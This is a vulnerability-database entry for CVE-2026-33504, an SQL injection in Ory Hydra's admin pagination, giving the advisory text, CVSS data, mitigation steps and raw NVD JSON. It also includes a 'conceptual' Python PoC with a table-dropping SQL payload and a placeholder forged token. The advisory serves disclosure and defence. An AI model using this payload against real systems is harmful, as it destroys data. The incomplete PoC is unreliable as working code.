Security Vulnerability Report
中文
CVE-2026-33504 CVSS 7.2 HIGH

CVE-2026-33504

Published: 2026-03-26 18:16:31
Last Modified: 2026-04-07 21:15:36

Description

Ory Hydra is an OAuth 2.0 Server and OpenID Connect Provider. Prior to version 26.2.0, the listOAuth2Clients, listOAuth2ConsentSessions, and listTrustedOAuth2JwtGrantIssuers Admin APIs in Ory Hydra are vulnerable to SQL injection due to flaws in its pagination implementation. Pagination tokens are encrypted using the secret configured in `secrets.pagination`. If this value is not set, Hydra falls back to using `secrets.system`. An attacker who knows this secret can craft their own tokens, including malicious tokens that lead to SQL injection. This issue can be exploited when one or more admin APIs listed above are directly or indirectly accessible to the attacker; the attacker can pass a raw pagination token to the affected API; and the configuration value `secrets.pagination` is set and known to the attacker, or `secrets.pagination` is not set and `secrets.system` is known to the attacker. An attacker can execute arbitrary SQL queries through forged pagination tokens. As a first line of defense, immediately configure a custom value for `secrets.pagination` by generating a cryptographically secure random secret. Next, upgrade Hydra to the fixed version, 26.2.0 as soon as possible.

CVSS Details

CVSS Score
7.2
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:ory:hydra:*:*:*:*:*:*:*:* - VULNERABLE
Ory Hydra < 26.2.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import base64 # Conceptual PoC for CVE-2026-33504: Ory Hydra SQL Injection via Pagination Token # This script demonstrates sending a crafted token if the encryption secret is known. TARGET_URL = "https://hydra.example.com/admin/oauth2-clients" # The attacker needs to encrypt the payload. Assuming AES-GCM or similar as per Hydra implementation. # This is a placeholder for the encryption logic. MALICIOUS_SQL_PAYLOAD = "1; DROP TABLE oauth2_clients--" # SECRET = "leaked_system_secret" # def encrypt_token(payload, secret): # # Implementation of Hydra's token encryption would go here # return base64.b64encode(f"encrypted_{payload}").decode() # forged_token = encrypt_token(MALICIOUS_SQL_PAYLOAD, SECRET) headers = { "Authorization": "Bearer <ADMIN_TOKEN>", "Content-Type": "application/json" } params = { "page_size": 10, "page_token": "<FORGED_PAGINATION_TOKEN>" } try: response = requests.get(TARGET_URL, headers=headers, params=params) if response.status_code == 200: print("[+] Potential SQL Injection executed.") print(response.text) else: print(f"[-] Request failed: {response.status_code}") except Exception as e: print(f"[-] Error: {e}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-33504", "sourceIdentifier": "[email protected]", "published": "2026-03-26T18:16:31.060", "lastModified": "2026-04-07T21:15:36.000", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Ory Hydra is an OAuth 2.0 Server and OpenID Connect Provider. Prior to version 26.2.0, the listOAuth2Clients, listOAuth2ConsentSessions, and listTrustedOAuth2JwtGrantIssuers Admin APIs in Ory Hydra are vulnerable to SQL injection due to flaws in its pagination implementation. Pagination tokens are encrypted using the secret configured in `secrets.pagination`. If this value is not set, Hydra falls back to using `secrets.system`. An attacker who knows this secret can craft their own tokens, including malicious tokens that lead to SQL injection. This issue can be exploited when one or more admin APIs listed above are directly or indirectly accessible to the attacker; the attacker can pass a raw pagination token to the affected API; and the configuration value `secrets.pagination` is set and known to the attacker, or `secrets.pagination` is not set and `secrets.system` is known to the attacker. An attacker can execute arbitrary SQL queries through forged pagination tokens. As a first line of defense, immediately configure a custom value for `secrets.pagination` by generating a cryptographically secure random secret. Next, upgrade Hydra to the fixed version, 26.2.0 as soon as possible."}, {"lang": "es", "value": "Ory Hydra es un servidor OAuth 2.0 y un proveedor de OpenID Connect. Antes de la versión 26.2.0, las API de administración listOAuth2Clients, listOAuth2ConsentSessions y listTrustedOAuth2JwtGrantIssuers en Ory Hydra son vulnerables a inyección SQL debido a fallos en su implementación de paginación. Los tokens de paginación se cifran usando el secreto configurado en `secrets.pagination`. Si este valor no está configurado, Hydra recurre a usar `secrets.system`. Un atacante que conoce este secreto puede crear sus propios tokens, incluyendo tokens maliciosos que conducen a inyección SQL. Este problema puede ser explotado cuando una o más API de administración listadas anteriormente son directa o indirectamente accesibles para el atacante; el atacante puede pasar un token de paginación sin procesar a la API afectada; y el valor de configuración `secrets.pagination` está configurado y es conocido por el atacante, o `secrets.pagination` no está configurado y `secrets.system` es conocido por el atacante. Un atacante puede ejecutar consultas SQL arbitrarias a través de tokens de paginación falsificados. Como primera línea de defensa, configure inmediatamente un valor personalizado para `secrets.pagination` generando un secreto aleatorio criptográficamente seguro. A continuación, actualice Hydra a la versión corregida, 26.2.0 lo antes posible."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.2, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.2, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:ory:hydra:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.2.0", "matchCriteriaId": "40E1DCE0-DDF8-4635-AA66-9150D5A65075"}]}]}], "references": [{"url": "https://github.com/ory/hydra/security/advisories/GHSA-r9w3-57w2-gch2", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}